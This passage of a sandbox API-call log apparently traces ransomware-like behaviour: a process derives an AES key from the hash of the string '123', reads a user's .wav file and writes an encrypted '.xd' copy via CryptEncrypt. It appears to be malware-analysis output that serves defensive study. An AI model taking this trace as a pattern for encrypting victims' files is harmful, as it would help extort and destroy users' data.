lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.116] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.116] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.116] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.116] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.117] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.117] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.117] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.117] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.117] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.117] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.117] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.117] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.117] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.117] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.117] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.117] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.117] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.117] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.118] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.118] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.118] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.118] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.118] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.118] CryptCreateHash (in: hProv=0x17ab550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.119] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629630, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.119] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.119] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.119] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.119] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.120] CryptHashData (hHash=0x164c430, pbData=0x1629700, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.120] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.120] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.120] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.120] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.120] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621870, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.120] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.120] CryptDeriveKey (in: hProv=0x17ab550, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0064.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.121] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.121] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.121] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.121] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.121] CryptDestroyHash (hHash=0x164c430) returned 1 [0064.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.121] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.121] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.122] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\rj1urn.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.122] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.122] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.122] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq")) returned 0x10 [0064.122] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\rj1urn.wav.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.124] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.124] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.124] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.124] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.125] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.125] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0064.127] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x57c4, lpOverlapped=0x0) returned 1 [0064.128] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.135] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.135] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.135] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.136] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.137] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.137] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.137] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.137] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.138] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.138] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.138] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.138] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.138] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.138] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629610, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629610*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.138] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.138] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.138] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.138] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.138] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.138] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.139] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.139] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.139] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.139] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.139] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.139] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.139] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.139] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.139] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.139] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.139] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.139] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.139] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.140] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.140] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.140] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x157c4, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x157d0) returned 1 [0064.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.140] CharLowerBuffW (in: lpsz="byte[88017]", cchLength=0xb | out: lpsz="byte[88017]") returned 0xb [0064.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.141] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.141] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: 